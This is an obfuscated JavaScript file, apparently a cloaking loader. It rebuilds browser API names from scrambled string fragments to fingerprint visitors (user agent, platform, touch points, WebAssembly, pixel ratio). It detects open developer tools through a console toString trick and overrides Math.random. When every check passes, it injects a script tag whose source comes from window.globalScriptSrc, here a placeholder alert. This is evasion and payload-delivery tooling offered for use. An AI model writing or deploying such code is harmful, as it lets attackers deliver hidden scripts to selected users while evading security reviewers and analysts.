// ~~~~~~~~~~~~~~~~~~~~~~~ код ~~~~~~~~~~~~~~~~~~~~~~~~

window.globalScriptSrc = "data:text/javascript,alert('work, yes')";

+function () {
	var today, count, tobe = ['is', 'are', 'am'],
		dash = '__', empty = "";


	function magicStr(str) {
		var newStr = '', i;
		for (i = str.length - 1; i >= 0; i--) {
			newStr += str.charAt(i);
		}
		return newStr;
	}

	function getParams(settings, count, place) {
		var end = count + place;
		today = Date;
		if (settings.length > count) {
			return settings.slice(place, end);
		} else {
			return settings;
		}
	}

	var space, stream, context, // window, Node, document
		arr = ['sid', 'dep', 'spr', 'dev', 'rec', 'pos', 'sec', 'app', 'pers', 'plug'],
		params = {
			Debug: true,
			screen: 2,
			Name: 'Pix',
			device: 'mobile',
			Code: 'Enabled',
			Message: 'tri rome tent dom inspect fuber',
			version: 'ran',
			userImg: 'avatar',
			url: 'asset',
			air: 'fly',
			yaki: 'roll',
			restriction: 'age',
			max: 8,
			time: 'sec'
		},
		stable = arr[8] + tobe[0] + getParams(params.Message, 4, 9), // persistent
		column = extendArr(arr, tobe), // sidebar
		send = space[addSpan(arr[5], 't') + Object.keys(params)[5]], // window.postMessage
		temp = arr[9].substr(3), prefix = getParams(arr[0], 1, 1), // g and i
		fath = addSpan('p' + tobe[1], getParams(params.Message, 2, 11)),
		hole = addSpan(params.time, 'u') + getParams(params.Message, 2, 1) + addSpan('t', params.air.slice(0, -1));

	function extendArr(array1, array2) {
		var res, params = {},
			keys = array2 ? array2 : [];
		space = this;
		stream = Node;
		for (var i = 1, len = array1.length; i < len; ++i) {
			var key = keys[i - 1],
				val = array1[i];
			if (key && val) {
				params[key] = val;
			}
		}
		if (array2.length > 0) {
			if (typeof array2 === 'object') {
				res = array1[0] + array1[1].slice(1, -1) + addSpan('b', getParams(array2[1], 2, 0));
			} else {
				res = array1[array2];
			}
		} else {
			res = array1[0] + array1[1].substr(1);
		}
		return res;
	}

	function compare(arrExp, mark) {
		if (mark && mark === 2) {
			return arrExp && arrExp[0] || arrExp[1];
		}
		return arrExp && arrExp[0] && arrExp[1];
	}

	var frame = stream[dash + 'c' + arr[2] + dash],
		special = ['glob', 'color', 'cook', 'ice', 'elem', 'ratio', 'tumb', 'web', 'form'],
		set = arr.filter(function (el) { //plugins
			context = document;
			return !el.indexOf('pl') && el
		})[0] + getParams(params.Message, 3, 18),
		usemap = addSpan([column, Object.keys(params)[0], capitalize(stable)]), // window["sidebar", "Debug", "PERSISTENT"]
		checkPoint = addSpan(hole) ? 4 : usemap[0] ? 1 : params.screen, // consoleCounter
		handle = navigator, breake = special[1].slice(0, 1), // c
		geometry = space[capitalize(addSpan(arr[4], 't'))];
	~function (arg, value, numb) {
		var el = space[fath];
		numb = function () {
			return new today / count
		};
		try {
			Math[value] = numb;
			el.Math[value] = numb;
			el.el.Math[value] = numb;
		} catch (e) {
		}
		arg && arg.forEach(function (arg) {
			stream.prototype[arg[0]] = arg[1];
		});
	}(frame, addSpan(params.version, getParams(params.Message, 3, 14)));

	function addParams(arg) {  // navigator[]
		var str, val = handle;
		if (typeof arg === 'object') {
			arg.forEach(function (el) {
				str += el;
			});
			return val[str];
		} else {
			return val[arg];
		}
	}

	var arrMc = special[3].split(breake),
		cash = addParams(set), check = RegExp,
		dataTime = addSpan(special[2] + arrMc.join(''), params.Code), //cookieEnabled
		resolution = addSpan(arr[3] + special[3], params.Name + getParams(special[4], 2, 0)),
		field = Object.keys(params)[2].toLowerCase(),
		flat = addSpan(resolution, capitalize(special[5])), //devicePixelRatio
		route = extendArr(screen, addSpan(special[1], capitalize(arr[1])) + 'th'); //screen.colorDepth
	function checkOther() {  // 0 in Chromium
		var finish = getParams(special[6], 2, 1);
		return !empty.match.call(cash[0][field], finish);
	}

	Array.prototype.push.apply(special, ['couch', 'was', 'dent']);
	var coin = addSpan(arr[1].slice(0, -2), getParams(special[6], 2, 1) + 'p'), //dump
		content = 'fix in far ref GLF eat odyn';

	function pack() {  //WebAssembly
		var part1 = addSpan(capitalize(special[7]), capitalize(params.url).slice(0, -1)),
			part2 = getParams(special[6], 2, 2) + params.air.substr(1);
		return addSpan(part1, part2);
	}

	function capitalize(string) {
		count = 1e13;
		if (string.length > 0 && count) {
			if (string === stable) {
				return string.toUpperCase();
			} else {
				return string.charAt(0).toUpperCase() + string.slice(1).toLowerCase();
			}
		}
	}

	var truck = arr[6].slice(0, 1) + addSpan(arr[6].slice(2), params.yaki),
		road = addSpan([coin, pack(), truck]), //window[dump, WebAssembly, scroll]
		man = Object.keys(params)[7].slice(0, 4) + addSpan(capitalize(params.restriction), 'nt'), // userAgent
		stage = addSpan(arr[9].slice(0, 2), getParams(special[5], 2, 1)) + special[8], //platform
		resp = Object.keys(params)[12] + 'T' + addSpan(special[9].substr(1), capitalize('points')), //maxTouchPoints for no touchscreens
		transp = arr[5].substr(1) + addSpan(breake, arr[9].slice(0, 1)) + arr[9].slice(2, 3); //oscpu
	function unMob(arr) {
		var res, tmp = magicStr(arr[2]),
			val1 = addSpan('w', content.split(' ')[1]), //'w' for windows!!!!
			val2 = addSpan(tmp, breake);
		res = createMask(val1, val2, addSpan(temp, prefix));
		return res;
	}

	function createMask(str, div, suffix) {
		var val;
		if (arguments.length === 1) {
			return new check(str);
		} else {
			val = div ? str + '|' + div : str;
		}
		return suffix ? new check(val, suffix) : new check(val);
	}

	var isOpen = addParams(special[10] + params.device.charAt(0) + params.Code),//wasmEnabled
		title = addParams(arr[7] + Object.keys(params)[4] + Object.keys(params)[2]),
		variant = addParams(arr[7] + capitalize(Object.keys(params)[6])),
		future = function () { //isNewChrome
			return compare([send, space[flat]], 1) && route && compare([addParams(dataTime), cash], 1)
		},
		coffee = addParams(['j', getParams(params.userImg, 3, 0), params.Code]),
		isProp = function () { // /safari|firefox/i
			var str1 = addSpan('s', params.url.slice(0, 1)) + addSpan(content.split(' ')[2], prefix),
				str2 = content.split(' ')[0].slice(0, 2) + addSpan(content.split(' ')[3], 'ox');
			return createMask(str1, str2, prefix);
		};

	function lift(elem) {
		var trade = 'b' + content.split(' ')[6].slice(0, -1),
			cur = addSpan(trade);
		return elem && cur.appendChild(elem);
	}

	var linea = [title, variant].join(coffee), local = createMask(temp),
		heavy = typeof (crypto) == "function" || toFit(linea, createMask('"', null, temp)),
		italic = createMask(addSpan(special[9].substr(3), getParams(params.Message, 4, 4)), null, prefix);

	function setOptions() {
		var place = addSpan(arr[2].slice(0, 1), arr[4].slice(0, 1)) + breake,
			str = arr[2].split('').map(function (el) {
				return el === 'p' ? breake : el
			}),
			div = addSpan(str.join(''), prefix + 'pt'),
			story = context.createElement(div);
		return lift(story)[place] = space.globalScriptSrc;
	}

	function curOld() {
		var val = addSpan(getParams(params.Message, 3, 0), special[11]),
			tmp = magicStr(arr[1]);
		res = tmp.substr(1) + params.restriction.substr(1);
		return createMask(val, res, prefix);
	}

	try {
		var much = road[2] + empty
	} catch (e) {
		var much = false
	}
	var graph = addSpan(capitalize(special[7]), getParams(content, 3, 15)), //WebGLF
		hold = params.version.slice(0, 2) + 'm',
		mem = function () { //WebGLFramebuffer
			var tmp = params.Message.split(' ')[5],
				tmp2 = magicStr(tmp),
				val1 = 'f' + tmp.slice(3),
				val2 = 'e' + tmp2.slice(2),
				str = addSpan(val2, val1);
			return addSpan(graph + hold, str);
		};

	function isTech() {
		return compare([!road[0], compare([road[1], empty + addParams(transp) != "undefined"], 1)], 2) || isOpen
	}

	function toSearch() {
		return compare([!addParams(resp), !heavy], 1) && compare([much, isTech()], 1)
	}

	var getLook = compare([toFit(addParams(stage), unMob(tobe)), toSearch()], 1),
		ground = function () {
			return toFit(addParams(man), isProp()) && (geometry || usemap[0])
		},
		info = function () {
			return compare([toFit(addParams(man), italic), usemap[2]], 1) && future() && checkOther()
		};
	local.toString = function () {
		--checkPoint;
		return empty
	};

	function toFit(txt, mask) {
		return mask ? txt.match(mask) : txt
	}

	if (getLook) {
		if (compare([ground(), info()], 2) || toFit(addParams(man), curOld()) && usemap[1]) {
			console.log(local);
			if (checkPoint > 0 && addSpan([mem()])) setOptions();
		}
	}

	function addSpan(arg1, arg2) {
		var data, el = context;
		if (arguments && arguments.length < params.screen) {
			if (typeof arg1 === 'object') {
				data = arg1.map(function (elem) {
					return space[elem]
				})
			} else {
				data = el[arg1]
			}
		} else {
			if (typeof arg1 === 'string' && typeof arg2 === 'string') data = arg1 + arg2
		}
		return data;
	}
}();

// ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~